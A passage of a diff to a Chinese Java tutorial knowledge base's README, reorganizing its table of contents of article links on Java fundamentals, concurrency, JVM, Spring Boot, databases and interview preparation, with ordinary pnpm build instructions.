[Java 字节流:Java IO 的基石](docs/src/io/stream.md) -- [Java 字符流:Reader和Writer的故事](docs/src/io/reader-writer.md) -- [Java 缓冲流:Java IO 的读写效率有了质的飞升](docs/src/io/buffer.md) -- [Java 转换流:Java 字节流和字符流的桥梁](docs/src/io/char-byte.md) -- [Java 打印流:PrintStream & PrintWriter](docs/src/io/print.md) -- [Java 序列流:Java 对象的序列化和反序列化](docs/src/io/serialize.md) -- [Java Serializable 接口:明明就一个空的接口嘛](docs/src/io/Serializbale.md) -- [深入探讨 Java transient 关键字](docs/src/io/transient.md) - -## 异常处理 - -- [一文彻底搞懂Java异常处理,YYDS](docs/src/exception/gailan.md) -- [深入理解 Java 中的 try-with-resources](docs/src/exception/try-with-resources.md) -- [Java异常处理的20个最佳实践](docs/src/exception/shijian.md) -- [空指针NullPointerException的传说](docs/src/exception/npe.md) -- [try-catch 捕获异常真的会影响性能吗?](docs/src/exception/try-catch-xingneng.md) - -## 常用工具类 - -- [Java Scanner:扫描控制台输入的工具类](docs/src/common-tool/scanner.md) -- [Java Arrays:专为数组而生的工具类](docs/src/common-tool/arrays.md) -- [Apache StringUtils:专为Java字符串而生的工具类](docs/src/common-tool/StringUtils.md) -- [Objects:专为操作Java对象而生的工具类](docs/src/common-tool/Objects.md) -- [Java Collections:专为集合而生的工具类](docs/src/common-tool/collections.md) -- [Hutool:国产良心工具包,让你的Java变得更甜](docs/src/common-tool/hutool.md) -- [Guava:Google开源的Java工具库,太强大了](docs/src/common-tool/guava.md) -- [其他常用Java工具类:IpUtil、MDC、ClassUtils、BeanUtils、ReflectionUtils](docs/src/common-tool/utils.md) - -## Java新特性 - -- [Java 8 Stream流:掌握流式编程的精髓](docs/src/java8/stream.md) -- [Java 8 Optional最佳指南:解决空指针问题的优雅之选](docs/src/java8/optional.md) -- [深入浅出Java 8 Lambda表达式:探索函数式编程的魅力](docs/src/java8/Lambda.md) -- [Java 14 开箱,新特性Record、instanceof、switch香香香香](docs/src/java8/java14.md) - -## Java网络编程 - -- [Java网络编程的基础:计算机网络](docs/src/socket/network-base.md) -- [Java Socket:飞鸽传书的网络套接字](docs/src/socket/socket.md) -- [牛逼,用Java Socket手撸了一个HTTP服务器](docs/src/socket/http.md) - -## Java NIO - -- [Java NIO 比传统 IO 强在哪里?](docs/src/nio/nio-better-io.md) -- [一文彻底解释清楚Java 中的NIO、BIO和AIO](docs/src/nio/BIONIOAIO.md) -- [详解Java NIO的Buffer缓冲区和Channel通道](docs/src/nio/buffer-channel.md) -- [聊聊 Java NIO中的Paths、Files](docs/src/nio/paths-files.md) -- [Java NIO 网络编程实践:从入门到精通](docs/src/nio/network-connect.md) -- [一文彻底理解Java IO模型](docs/src/nio/moxing.md) - -## 重要知识点 - -- [Java命名规范:编写可读性强的代码](docs/src/basic-extra-meal/java-naming.md) -- [解决中文乱码:字符编码全攻略 - ASCII、Unicode、UTF-8、GB2312详解](docs/src/basic-extra-meal/java-unicode.md) -- [深入浅出Java拆箱与装箱](docs/src/basic-extra-meal/box.md) -- [深入理解Java浅拷贝与深拷贝](docs/src/basic-extra-meal/deep-copy.md) -- [Java hashCode方法解析](docs/src/basic-extra-meal/hashcode.md) -- [Java到底是值传递还是引用传递?](docs/src/basic-extra-meal/pass-by-value.md) -- [为什么无法实现真正的泛型?](docs/src/basic-extra-meal/true-generic.md) -- [Java 反射详解](docs/src/basic-extra-meal/fanshe.md) - -## Java并发编程 - -- [并发编程小册简介](docs/src/thread/readme.md) -- [Java多线程入门](docs/src/thread/wangzhe-thread.md) -- [获取线程的执行结果](docs/src/thread/callable-future-futuretask.md) -- [Java线程的6种状态及切换](docs/src/thread/thread-state-and-method.md) -- [线程组和线程优先级](docs/src/thread/thread-group-and-thread-priority.md) -- [进程与线程的区别](docs/src/thread/why-need-thread.md) -- [多线程带来了哪些问题?](docs/src/thread/thread-bring-some-problem.md) -- [Java的内存模型(JMM)](docs/src/thread/jmm.md) -- [volatile关键字解析](docs/src/thread/volatile.md) -- [synchronized关键字解析](docs/src/thread/synchronized-1.md) -- [synchronized的四种锁状态](docs/src/thread/synchronized.md) -- [深入浅出偏向锁](docs/src/thread/pianxiangsuo.md) -- [CAS详解](docs/src/thread/cas.md) -- [AQS详解](docs/src/thread/aqs.md) -- [锁分类和 JUC](docs/src/thread/lock.md) -- [重入锁ReentrantLock](docs/src/thread/reentrantLock.md) -- [读写锁ReentrantReadWriteLock](docs/src/thread/ReentrantReadWriteLock.md) -- [等待通知条件Condition](docs/src/thread/condition.md) -- [线程阻塞唤醒类LockSupport](docs/src/thread/LockSupport.md) -- [Java的并发容器](docs/src/thread/map.md) -- [并发容器ConcurrentHashMap](docs/src/thread/ConcurrentHashMap.md) -- [非阻塞队列ConcurrentLinkedQueue](docs/src/thread/ConcurrentLinkedQueue.md) -- [阻塞队列BlockingQueue](docs/src/thread/BlockingQueue.md) -- [并发容器CopyOnWriteArrayList](docs/src/thread/CopyOnWriteArrayList.md) -- [本地变量ThreadLocal](docs/src/thread/ThreadLocal.md) -- [线程池](docs/src/thread/pool.md) -- [定时任务ScheduledThreadPoolExecutor](docs/src/thread/ScheduledThreadPoolExecutor.md) -- [原子操作类Atomic](docs/src/thread/atomic.md) -- [魔法类 Unsafe](docs/src/thread/Unsafe.md) -- [通信工具类](docs/src/thread/CountDownLatch.md) -- [Fork/Join](docs/src/thread/fork-join.md) -- [生产者-消费者模式](docs/src/thread/shengchanzhe-xiaofeizhe.md) - - -## Java虚拟机 - -- [JVM小册简介](docs/src/jvm/readme.md) -- [大白话带你认识JVM](docs/src/jvm/what-is-jvm.md) -- [JVM是如何运行Java代码的?](docs/src/jvm/how-run-java-code.md) -- [Java的类加载机制(付费)](docs/src/jvm/class-load.md) -- [Java的类文件结构](docs/src/jvm/class-file-jiegou.md) -- [从javap的角度轻松看懂字节码](docs/src/jvm/bytecode.md) -- [栈虚拟机与寄存器虚拟机](docs/src/jvm/vm-stack-register.md) -- [字节码指令详解](docs/src/jvm/zijiema-zhiling.md) -- [深入理解JVM的栈帧结构](docs/src/jvm/stack-frame.md) -- [深入理解JVM的运行时数据区](docs/src/jvm/neicun-jiegou.md) -- [深入理解JVM的垃圾回收机制](docs/src/jvm/gc.md) -- [深入理解 JVM 的垃圾收集器:CMS、G1、ZGC](docs/src/jvm/gc-collector.md) -- [Java 创建的对象到底放在哪?](docs/src/jvm/whereis-the-object.md) -- [深入理解JIT(即时编译)](docs/src/jvm/jit.md) -- [JVM 性能监控之命令行篇](docs/src/jvm/console-tools.md) -- [JVM 性能监控之可视化篇](docs/src/jvm/view-tools.md) -- [阿里开源的 Java 诊断神器 Arthas](docs/src/jvm/arthas.md) -- [内存溢出排查优化实战](docs/src/jvm/oom.md) -- [CPU 100% 排查优化实践](docs/src/jvm/cpu-percent-100.md) -- [JVM 核心知识点总结](docs/src/jvm/zongjie.md) - - -# Java进阶 - -> - **到底能不能成为一名合格的 Java 程序员,从理论走向实战?Java进阶这部分内容就是一个分水岭**! -> - 纸上得来终觉浅,须知此事要躬行。 - -## 开发/构建工具 - -> 工欲善其事必先利其器,这句话大家都耳熟能详了,熟练使用开发/构建工具可以让我们极大提升开发效率,解放生产力。 - -- [5分钟带你深入浅出搞懂Nginx](docs/src/nginx/nginx.md) - -### IDEA - -> 集成开发环境,Java 党主要就是 Intellij IDEA 了,号称史上最强大的 Java 开发工具,没有之一。 - -- [分享 4 个阅读源码必备的 IDEA 调试技巧](docs/src/ide/4-debug-skill.md) -- [分享 1 个可以在 IDEA 里下五子棋的插件](docs/src/ide/xechat.md) -- [分享 10 个可以一站式开发的 IDEA 神级插件](docs/src/ide/shenji-chajian-10.md) - -### Maven - -> Maven 是目前比较流行的一个项目构建工具,基于 pom 坐标来帮助我们管理第三方依赖,以及项目打包。 - -- [终于把项目构建神器Maven捋清楚了~](docs/src/maven/maven.md) - -### Git - -> Git 是一个分布式版本控制系统,缔造者是大名鼎鼎的林纳斯·托瓦茲 (Linus Torvalds),Git 最初的目的是为了能更好的管理 Linux 内核源码。如今,Git 已经成为全球软件开发者的标配。如果说 Linux 项目促成了开源软件的成功并改写了软件行业的格局,那么 Git 则是改变了全世界开发者的工作方式和写作方式。 - -- [1小时彻底掌握Git](docs/src/git/git-qiyuan.md) -- [GitHub 远程仓库端口切换](docs/src/git/port-22-to-443.md) - -## Spring -- [Spring AOP扫盲](docs/src/springboot/aop-log.md) -- [Spring IoC扫盲](docs/src/springboot/ioc.md) +# :bookmark: 学习说明 +**编程是听不会,也看不会的,只有经过大量的实践才能学会,所以一定要动手,专栏中所有的例子都不要放过,一个一个来,直到自己能在没有任何帮助的情况下,独立完成代码的编写**。 -## SpringBoot +记住:编程是门手艺活,唯手熟尔! -- [一分钟快速搭建Spring Boot项目](docs/src/springboot/initializr.md) -- [Spring Boot 整合 lombok](docs/src/springboot/lombok.md) -- [Spring Boot 整合 MySQL 和 Druid](docs/src/springboot/mysql-druid.md) -- [Spring Boot 整合 JPA](docs/src/springboot/jpa.md) -- [Spring Boot 整合 Thymeleaf 模板引擎](docs/src/springboot/thymeleaf.md) -- [Spring Boot 如何开启事务支持?](docs/src/springboot/transaction.md) -- [Spring Boot 中使用过滤器、拦截器、监听器](docs/src/springboot/Filter-Interceptor-Listener.md) -- [Spring Boot 整合 Redis 实现缓存](docs/src/redis/redis-springboot.md) -- [Spring Boot 整合 Logback 定制日志框架](docs/src/springboot/logback.md) -- [Spring Boot 整合 Swagger-UI 实现在线API文档](docs/src/springboot/swagger.md) -- [Spring Boot 整合 Knife4j,美化强化丑陋的Swagger](docs/src/gongju/knife4j.md) -- [Spring Boot 整合 Spring Task 实现定时任务](docs/src/springboot/springtask.md) -- [Spring Boot 整合 MyBatis-Plus AutoGenerator 生成编程喵项目骨架代码](docs/src/kaiyuan/auto-generator.md) -- [Spring Boot 整合Quartz实现编程喵定时发布文章](docs/src/springboot/quartz.md) -- [Spring Boot 整合 MyBatis](docs/src/springboot/mybatis.md) -- [一键部署 Spring Boot 到远程 Docker 容器](docs/src/springboot/docker.md) -- [如何在本地(macOS环境)跑起来编程喵(Spring Boot+Vue)项目源码?](docs/src/springboot/macos-codingmore-run.md) -- [如何在本地(Windows环境)跑起来编程喵(Spring Boot+Vue)项目源码?](docs/src/springboot/windows-codingmore-run.md) -- [编程喵🐱实战项目如何在云服务器上跑起来?](docs/src/springboot/linux-codingmore-run.md) -- [SpringBoot中处理校验逻辑的两种方式:Hibernate Validator+全局异常处理](docs/src/springboot/validator.md) +---- +1. 本专栏的所有内容都是经过我精心打磨的,所以你完全不用担心学不会的问题! -## Netty +2. 本专栏的所有配套源码已经在 GitHub 上开源(在本仓库的 code 目录下,直接导入到 Intellij IDEA 就可以运行),你在练手的时候可以作为参考。 -- [超详细Netty入门,看这篇就够了!](docs/src/netty/rumen.md) +3. 如果你在学习的过程中遇到了什么问题,包括:不能运行、优化意见、文字错误等任何问题都可以提交 issue,也可以联系我,微信:`qing_geee`,备注 Java。 +4. 本专栏不仅会教你如何学习 Java,还会把我十多年的编程经验倾囊相授,让你真正成为一名有即战力的选手。 -## 辅助工具 +5. **没有什么使我停留——除了目的,纵然岸旁有玫瑰、有绿荫、有宁静的港湾,我是不系之舟**。 -- [Chocolatey:一款GitHub星标8.2k+的Windows命令行软件管理器,好用到爆!](docs/src/gongju/choco.md) -- [Homebrew,GitHub 星标 32.5k+的 macOS 命令行软件管理神器,功能真心强大!](docs/src/gongju/brew.md) -- [Tabby:一款逼格更高的开源终端工具,GitHub 星标 21.4k](docs/src/gongju/tabby.md) -- [Warp:号称下一代终端神器,GitHub星标2.8k+,用完爱不释手](docs/src/gongju/warp.md) -- [WindTerm:新一代开源免费的终端工具,GitHub星标6.6k+,太酷了!](docs/src/gongju/windterm.md) -- [chiner:干掉 PowerDesigner,国人开源的数据库设计工具,界面漂亮,功能强大](docs/src/gongju/chiner.md) -- [DBeaver:干掉付费的 Navicat,操作所有数据库就靠它了!](docs/src/gongju/DBeaver.md) +# :pencil: 章节目录 -## 开源轮子 +## Java 企业级开发 -- [Forest:一款极简的声明式HTTP调用API框架](docs/src/gongju/forest.md) -- [Junit:一个开源的Java单元测试框架](docs/src/gongju/junit.md) -- [fastjson:阿里巴巴开源的JSON解析库](docs/src/gongju/fastjson.md) -- [Gson:Google开源的JSON解析库](docs/src/gongju/gson.md) -- [Jackson:GitHub上star数最多的JSON解析库](docs/src/gongju/jackson.md) -- [Log4j:Java日志框架的鼻祖](docs/src/gongju/log4j.md) -- [Log4j 2:Apache维护的一款高性能日志记录工具](docs/src/gongju/log4j2.md) -- [Logback:Spring Boot内置的日志处理框架](docs/src/gongju/logback.md) -- [SLF4J:阿里巴巴强制使用的日志门面担当](docs/src/gongju/slf4j.md) +### **Maven** +- [项目构建神器 Maven](docs/maven/maven.md) +- [更快的 Maven 来了!!!性能提升 300%](docs/maven/mvnd.md) -## 分布式 +### **Git** -- [全文搜索引擎Elasticsearch入门教程](docs/src/elasticsearch/rumen.md) -- [可能是把ZooKeeper概念讲的最清楚的一篇文章](docs/src/zookeeper/jibenjieshao.md) -- [微服务网关:从对比到选型,由理论到实践](docs/src/microservice/api-wangguan.md) +- [可能是 Git 历史上最伟大的一次代码提交](docs/git/git-qiyuan.md) +- [终于有人把 Git 的数据模型讲清楚了](docs/git/shujujiegou.md) +- [昨晚看完 Linus 第一次提交的 Git 代码后,我失眠了!](docs/git/neibushixian.md) +- [要熟练使用 Git,恐怕要记住这60个命令](docs/git/mingling.md) +- [崩溃!实习生把小组的代码仓库搞得一团糟。。。](docs/git/jibenshiyong.md) +- [信不信,7 张图就能让你把 Git 分支管理拿捏的死死的。。](docs/git/fenzhi.md) +- [豆瓣9.1分!我昨天在挂急诊时啃完了这本书!](docs/git/progit.md) -## 消息队列 +### **Nginx** -- [RabbitMQ入门教程(概念、应用场景、安装、使用)](docs/src/mq/rabbitmq-rumen.md) -- [怎么确保消息100%不丢失?](docs/src/mq/100-budiushi.md) -- [Kafka核心知识点大梳理](docs/src/mq/kafka.md) +- [某俄罗斯小哥,竟靠一个服务器软件直接封神?](docs/nginx/nginx.md) -# 数据库 +### **SpringBoot** -> - **简而言之,就是按照数据结构来组织、存储和管理数据的仓库**。几乎所有的 Java 后端开发都要学习数据库这块的知识,包括关系型数据库 MySQL,缓存中间件 Redis,非关系型数据库 MongoDB 等。 +- [一分钟快速搭建 Spring Boot 项目](docs/springboot/initializr.md) +- [基于SpringBoot 的CMS系统,拿去开发企业官网真香](https://mp.weixin.qq.com/s/HWTVu7E62VkaH2anQc1J_g) +- [Spring Boot为什么不需要额外安装Tomcat?](docs/springboot/tomcat.md) -## MySQL -- [MySQL 的安装和连接,结合技术派实战项目来讲](docs/src/mysql/install.md) -- [MySQL 的数据库操作,利用 Spring Boot 实现数据库的自动创建](docs/src/mysql/database.md) -- [MySQL 表的基本操作,结合技术派的表自动初始化来讲](docs/src/mysql/table.md) -- [MySQL 的数据类型,4000 字 20 张手绘图,彻底掌握](docs/src/mysql/data-type.md) -- [MySQL 的字符集和比较规则,从跟上掌握](docs/src/mysql/charset.md) -- [MySQL bin目录下的那些可执行文件,包括备份数据库、导入 CSV 等](docs/src/mysql/bin.md) -- [MySQL 的字段属性,默认值、是否为空、主键、自增、ZEROLFILL等一网打尽](docs/src/mysql/column.md) -- [MySQL 的简单查询,开始踏上 SELECT 之旅](docs/src/mysql/select-simple.md) -- [MySQL 的 WEHRE 条件查询,重点搞懂 % 通配符](docs/src/mysql/select-where.md) -- [如何保障MySQL和Redis的数据一致性?](docs/src/mysql/redis-shuju-yizhixing.md) -- [从根上理解 MySQL 的事务](docs/src/mysql/lijie-shiwu.md) -- [浅入深出 MySQL 中事务的实现](docs/src/mysql/shiwu-shixian.md) +### **事故处理** -## Redis +- [我鮳!Log4j2突发重大漏洞,我们也中招了。。](docs/shigu/log4j2.md) +- [重现了一波 Log4j2 核弹级漏洞,同事的电脑沦为炮灰](https://mp.weixin.qq.com/s/zXzJVxRxMUnoyJs6_NojMQ) +- [生成订单30分钟未支付,则自动取消,该怎么实现?](https://mp.weixin.qq.com/s/J6jb_Dt3C49CIjYBTrN4gQ) +- [西安一码通又崩了!难道又不小心回滚上个版本](https://mp.weixin.qq.com/s/TaFohrRetiCKEf7ZKESBaQ) -- [Redis入门(适合新手)](docs/src/redis/rumen.md) -- [聊聊缓存雪崩、穿透、击穿](docs/src/redis/xuebeng-chuantou-jichuan.md) +### **真香工具** +- [干掉 Xshell?这款开源的终端工具Tabby逼格更高!](docs/gongju/tabby.md) +- [再见Postman!一款更适合国人的接口管理工具ApiPost!](https://mp.weixin.qq.com/s/ZgkNQsve_vq6Xq0_gnWHCw) +- [EasyPoi实现Excel导入导出,好用到爆,POI可以扔掉了!](https://mp.weixin.qq.com/s/H2Bwc-7ghcjyaEnKUTQ5Dg) +- [再见了VMware,一款更轻量级的虚拟机Multipass!](https://mp.weixin.qq.com/s/gy6dVHvNy495bqov6JOAdA) +- [再见Swagger了,这七款在线文档生成神器真的赞](https://mp.weixin.qq.com/s/tEwVadscpaUI5uR6aiTZkQ) +- [干掉visio,这个画图神器真的绝了!!!](https://mp.weixin.qq.com/s/EaGCe4GRG2C-0zuVxWxl5A) +### **开源项目** -## MongoDB +- [2 个 Java 练手项目(云E办、仿网易云音乐)](docs/kaiyuan/yuneban-wangyiyunyinyue.md) -- [MongoDB最基础入门教程](docs/src/mongodb/rumen.md) +## Java 入门 +### **Java 概述** -# 计算机基础 +- [什么是 Java](docs/overview/what-is-java.md) +- [Java 发展简史](docs/overview/java-history.md) +- [Java 的优势](docs/overview/java-advantage.md) +- [JDK 和 JRE 有什么区别](docs/overview/jdk-jre.md) +- [安装集成开发环境 Intellij IDEA](docs/overview/idea.md) +- [第一个 Java 程序:Hello World](docs/overview/hello-world.md) -> - **计算机基础包括操作系统、计算机网络、计算机组成原理、数据结构与算法等**。对于任何一名想要走得更远的 Java 后端开发来说,都是必须要花时间和精力去夯实的。 -> - 万丈高露平地起,勿在浮沙筑高台。 - -- [操作系统核心知识点大梳理](docs/src/cs/os.md) -- [计算机网络核心知识点大梳理](docs/src/cs/wangluo.md) +### **Java 基础语法** -# 求职面试 +- [基本数据类型](docs/basic-grammar/basic-data-type.md) +- [流程控制](docs/basic-grammar/flow-control.md) +- [运算符](docs/basic-grammar/operator.md) +- [注释:代码的最强辅助](docs/basic-grammar/javadoc.md) -> - **学习了那么多 Java 知识,耗费了无数的脑细胞,熬掉了无数根秀发,为的是什么?当然是谋取一份心仪的 offer 了**。那八股文、面试题、城市选择、优质面经又怎能少得了呢? -> - 千淘万漉虽辛苦,吹尽狂沙始到金。 +### **面向对象** -## 面试题&八股文 +- [什么是对象?什么是类](docs/oo/object-class.md) +- [变量](docs/oo/var.md) +- [方法](docs/oo/method.md) +- [构造方法](docs/oo/construct.md) +- [代码初始化块](docs/oo/code-init.md) +- [抽象类](docs/oo/abstract.md) +- [接口](docs/oo/interface.md) +- [static 关键字](docs/oo/static.md) +- [this 和 super 关键字](docs/oo/this-super.md) +- [final 关键字](docs/oo/final.md) +- [instanceof 关键字](docs/oo/instanceof.md) +- [方法重载和方法重写](docs/basic-extra-meal/override-overload.md) +- [Java 到底是值传递还是引用传递](docs/basic-extra-meal/pass-by-value.md) +- [Java的不可变对象](docs/basic-extra-meal/immutable.md) +- [可变参数](docs/basic-extra-meal/varables.md) -- [34 道 Java 精选面试题👍](docs/src/interview/java-34.md) -- [13 道 Java HashMap 精选面试题👍](docs/src/interview/java-hashmap-13.md) -- [60 道 MySQL 精选面试题👍](docs/src/interview/mysql-60.md) -- [15 道 MySQL 索引精选面试题👍](docs/src/interview/mysql-suoyin-15.md) -- [12 道 Redis 精选面试题👍](docs/src/interview/redis-12.md) -- [40 道 Nginx 精选面试题👍](docs/src/interview/nginx-40.md) -- [17 道 Dubbo 精选面试题👍](docs/src/interview/dubbo-17.md) -- [40 道 Kafka 精选面试题👍](docs/src/interview/kafka-40.md) -- [Java 基础背诵版八股文必看🍉](docs/src/interview/java-basic-baguwen.md) -- [Java 并发编程背诵版八股文必看🍉](docs/src/interview/java-thread-baguwen.md) -- [Java 虚拟机背诵版八股文必看🍉](docs/src/interview/java-jvm-baguwen.md) -- [携程面试官👤:大文件上传时如何做到秒传?](docs/src/interview/mianshiguan-bigfile-miaochuan.md) -- [阿里面试官👤:为什么要分库分表?](docs/src/interview/mianshiguan-fenkufenbiao.md) -- [淘宝面试官👤:优惠券系统该如何设计?](docs/src/interview/mianshiguan-youhuiquan.md) -## 优质面经 +### **字符串** -- [硕士读者春招斩获深圳腾讯PCG和杭州阿里云 offer✌️](docs/src/mianjing/shanganaliyun.md) -- [本科读者小公司一年工作经验社招拿下阿里美团头条京东滴滴等 offer✌️](docs/src/mianjing/shezynmjfxhelmtttjddd.md) -- [非科班读者,用一年时间社招拿下阿里 Offer✌️](docs/src/mianjing/xuelybdzheloffer.md) -- [二本读者社招两年半10家公司28轮面试面经✌️](docs/src/mianjing/huanxgzl.md) -- [双非一本秋招收获腾讯ieg、百度、字节等6家大厂offer✌️](docs/src/mianjing/quzjlsspdx.md) -- [双非学弟收割阿里、字节、B站校招 offer,附大学四年硬核经验总结✌️](docs/src/mianjing/zheisnylzldhzd.md) -- [深漂 6 年了,回西安的一波面经总结✌️](docs/src/mianjing/chengxyspnhxagzl.md) +- [String 为什么是不可变的](docs/string/immutable.md) +- [字符串常量池](docs/string/constant-pool.md) +- [深入浅出 String.intern](docs/string/intern.md) +- [如何比较两个字符串是否相等](docs/string/equals.md) +- [如何拼接字符串](docs/string/join.md) +- [如何拆分字符串](docs/string/split.md) +### **数组** -## 面试准备 +- [数组](docs/array/array.md) +- [打印数组](docs/array/print.md) -- [面试常见词汇扫盲+大厂面试特点分享💪](docs/src/nice-article/weixin/miansmtgl.md) -- [有无实习/暑期实习 offer 如何准备秋招?💪](docs/src/nice-article/weixin/zijxjjdyfqzgl.md) -- [简历如何优化,简历如何投递,面试如何准备?💪](docs/src/nice-article/weixin/luoczbmsddyb.md) -- [校招时间节点、简历编写、笔试、HR面、实习等注意事项💪](docs/src/nice-article/weixin/youdxzhhmjzlycfx.md) +### **集合框架** -## 城市选择 +- [初识集合框架](docs/collection/gailan.md) +- [时间复杂度](docs/collection/big-o.md) +- [ArrayList](docs/collection/arraylist.md) +- [泛型](docs/basic-extra-meal/generic.md) +- [LinkedList](docs/collection/linkedlist.md) +- [ArrayList 重拳出击,把 LinkedList 干翻在地](docs/collection/list-war-1.md) +- [被 ArrayList 锤了一拳后,LinkedList 很不服气](docs/collection/list-war-2.md) +- [海康威视一面:Iterator与Iterable有什么区别?](docs/collection/iterator-iterable.md) +- [为什么阿里巴巴强制不要在 foreach 里执行删除操作](docs/collection/fail-fast.md) +- [HashMap 的 hash 原理](docs/collection/hash.md) +- [HashMap 的扩容机制](docs/collection/hashmap-resize.md) +- [HashMap 的加载因子为什么是 0.75](docs/collection/hashmap-loadfactor.md) +- [为什么 HashMap 是线程不安全的?](docs/collection/hashmap-thread-nosafe.md) -- [武汉都有哪些值得加入的IT互联网公司?](docs/src/cityselect/wuhan.md) -- [北京都有哪些值得加入的IT互联网公司?](docs/src/cityselect/beijing.md) -- [广州都有哪些值得加入的IT互联网公司?](docs/src/cityselect/guangzhou.md) -- [深圳都有哪些值得加入的IT互联网公司?](docs/src/cityselect/shenzhen.md) -- [西安都有哪些值得加入的IT互联网公司?](docs/src/cityselect/xian.md) -- [青岛都有哪些值得加入的IT互联网公司?](docs/src/cityselect/qingdao.md) -- [郑州都有哪些值得加入的IT互联网公司?](docs/src/cityselect/zhengzhou.md) -- [苏州都有哪些值得加入的IT互联网公司?](docs/src/cityselect/suzhou.md) -- [南京都有哪些值得加入的IT互联网公司?](docs/src/cityselect/nanjing.md) -- [杭州都有哪些值得加入的IT互联网公司?](docs/src/cityselect/hangzhou.md) -- [成都都有哪些值得加入的IT互联网公司?](docs/src/cityselect/chengdu.md) -- [济南都有哪些值得加入的IT互联网公司?](docs/src/cityselect/jinan.md) +### **异常处理** -# 学习资源 +- [异常处理机制](docs/exception/gailan.md) +- [try-catch-finally](docs/exception/try-catch-finally.md) +- [throw 和 throws](docs/exception/throw-throws.md) +- [try-with-resouces](docs/exception/try-with-resouces.md) +- [异常最佳实践](docs/exception/shijian.md) -> - **不知道学什么?不知道该怎么学?找不到优质的学习资源**?这些问题在这里统统都可以找到答案。 -> - 我会把自己十多年的编程经验和学习资源毫不保留的分享出来。 +### **常用工具类** -## PDF下载 +- [数组工具类:Arrays](docs/common-tool/arrays.md) +- [集合工具类:Collections](docs/common-tool/collections.md) +- [简化每一行代码工具类:Hutool](docs/common-tool/hutool.md) +- [Guava,拯救垃圾代码,效率提升N倍](docs/common-tool/guava.md) -- [👏下载→30天速通 Java.pdf](docs/src/pdf/java30day.md) -- [👏下载→Linux速查备忘手册.pdf](docs/src/pdf/linux.md) -- [👏下载→超1000本计算机经典书籍分享](docs/src/pdf/java.md) -- [👏下载→2022年全网最全关于程序员学习和找工作的PDF资源](docs/src/pdf/programmer-111.md) -- [👏下载→深入浅出Java多线程PDF](docs/src/pdf/java-concurrent.md) -- [👏下载→GitHub星标115k+的Java教程](docs/src/pdf/github-java-jiaocheng-115-star.md) -- [👏下载→重学Java设计模式PDF](docs/src/pdf/shejimoshi.md) -- [👏下载→Java版LeetCode刷题笔记](docs/src/pdf/java-leetcode.md) -- [👏下载→阿里巴巴Java开发手册](docs/src/pdf/ali-java-shouce.md) -- [👏下载→阮一峰C语言入门教程](docs/src/pdf/yuanyifeng-c-language.md) -- [👏下载→BAT大佬的刷题笔记](docs/src/pdf/bat-shuati.md) -- [👏下载→给操作系统捋条线PDF](docs/src/pdf/os.md) -- [👏下载→豆瓣9.1分的Pro Git中文版](docs/src/pdf/progit.md) -- [👏下载→简历模板](docs/src/pdf/jianli.md) +### **Java IO** -## 学习建议 +- [IO 流的分类和概述](docs/io/shangtou.md) -- [计算机专业该如何自学编程,看哪些书籍哪些视频哪些教程?](docs/src/xuexijianyi/LearnCS-ByYourself.md) -- [如何阅读《深入理解计算机系统》这本书?](docs/src/xuexijianyi/read-csapp.md) -- [电子信息工程最好的出路的是什么?](docs/src/xuexijianyi/electron-information-engineering.md) -- [如何填报计算机大类高考填志愿,计科、人工智能、软工、大数据、物联网、网络工程该怎么选?](docs/src/xuexijianyi/gaokao-zhiyuan-cs.md) -- [测试开发工程师必读经典书籍有哪些?](docs/src/xuexijianyi/test-programmer-read-books.md) -- [校招 Java 后端开发应该掌握到什么程度?](docs/src/xuexijianyi/xiaozhao-java-should-master.md) -- [大裁员下,程序员如何做“副业”?](docs/src/xuexijianyi/chengxuyuan-fuye.md) -- [如何在繁重的工作中持续成长?](docs/src/xuexijianyi/ruhzfzdgzzcxcz.md) -- [如何获得高并发的经验?](docs/src/xuexijianyi/gaobingfa-jingyan-hsmcomputer.md) -- [怎么跟 HR 谈薪资?](docs/src/xuexijianyi/hr-xinzi.md) -- [程序员 35 岁危机,如何破局?](docs/src/xuexijianyi/35-weiji.md) -- [不到 20 人的 IT 公司该去吗?](docs/src/xuexijianyi/20ren-it-quma.md) -- [本科生如何才能进入腾讯、阿里等一流的互联网公司?](docs/src/xuexijianyi/benkesheng-ali-tengxun.md) -- [计算机考研 408 统考该如何准备?](docs/src/xuexijianyi/408.md) -# 知识库搭建 +### **加餐** -> 从购买阿里云服务器+域名购买+域名备案+HTTP 升级到 HTTPS,全方面记录《二哥的Java进阶之路》知识库的诞生和改进过程,涉及到 docsify、Git、Linux 命令、GitHub 仓库等实用知识点。 +- [Java 中常用的 48 个关键字](docs/basic-extra-meal/48-keywords.md) +- [Java 命名约定](docs/basic-extra-meal/java-naming.md) +- [Java 默认的编码方式 Unicode](docs/basic-extra-meal/java-unicode.md) +- [new Integer(18) 与 Integer.valueOf(18) 有什么区别](docs/basic-extra-meal/int-cache.md) +- [自动拆箱与自动装箱](docs/basic-extra-meal/box.md) +- [浅拷贝与深拷贝](docs/basic-extra-meal/deep-copy.md) +- [为什么重写 equals 时必须重写 hashCode 方法](docs/basic-extra-meal/equals-hashcode.md) +- [注解](docs/basic-extra-meal/annotation.md) +- [枚举](docs/basic-extra-meal/enum.md) +- [深入理解 Java 中的反射](docs/basic-extra-meal/fanshe.md) +- [Java 不能实现真正泛型的原因是什么?](docs/basic-extra-meal/true-generic.md) +- [Java程序在编译期发生了什么](docs/basic-extra-meal/what-happen-when-javac.md) +- [Comparable和Comparator有什么区别?](docs/basic-extra-meal/comparable-omparator.md) -- [购买云服务器](docs/src/szjy/buy-cloud-server.md) -- [安装宝塔面板](docs/src/szjy/install-baota-mianban.md) -- [购买域名&域名解析](docs/src/szjy/buy-domain.md) -- [备案域名](docs/src/szjy/record-domain.md) -- [给域名配置HTTPS证书](docs/src/szjy/https-domain.md) -- [使用docsify+Git+GitHub+码云+阿里云服务器搭建知识库网站](docs/src/szjy/tobebetterjavaer-wangzhan-shangxian.md) -本知识库使用 VuePress 搭建,并基于[VuePress Theme Hope](https://theme-hope.vuejs.press/zh/)主题,你可以把[仓库](https://github.com/itwanger/toBeBetterJavaer)拉到本地后直接通过 `pnpm docs:clean-dev` 跑起来。 +## Java 进阶 ->前提是你已经安装好 node.js 和 pnpm 环境。 +### **Java 并发编程** -![pnpm 部署进阶之路](https://cdn.paicoding.com/stutymore/README-20241106103513.png) +- [室友打一把王者就学会了多线程](docs/thread/wangzhe-thread.md) -点击链接就可以在本地看到运行后的效果了。 +### **Java 虚拟机** -![二哥的 Java 进阶之路首页](https://cdn.paicoding.com/stutymore/README-20230829162301.png) +- [JVM 是什么?](docs/jvm/what-is-jvm.md) -如果想部署服务器,可以执行 `pnpm docs:build` 打包生成 dist 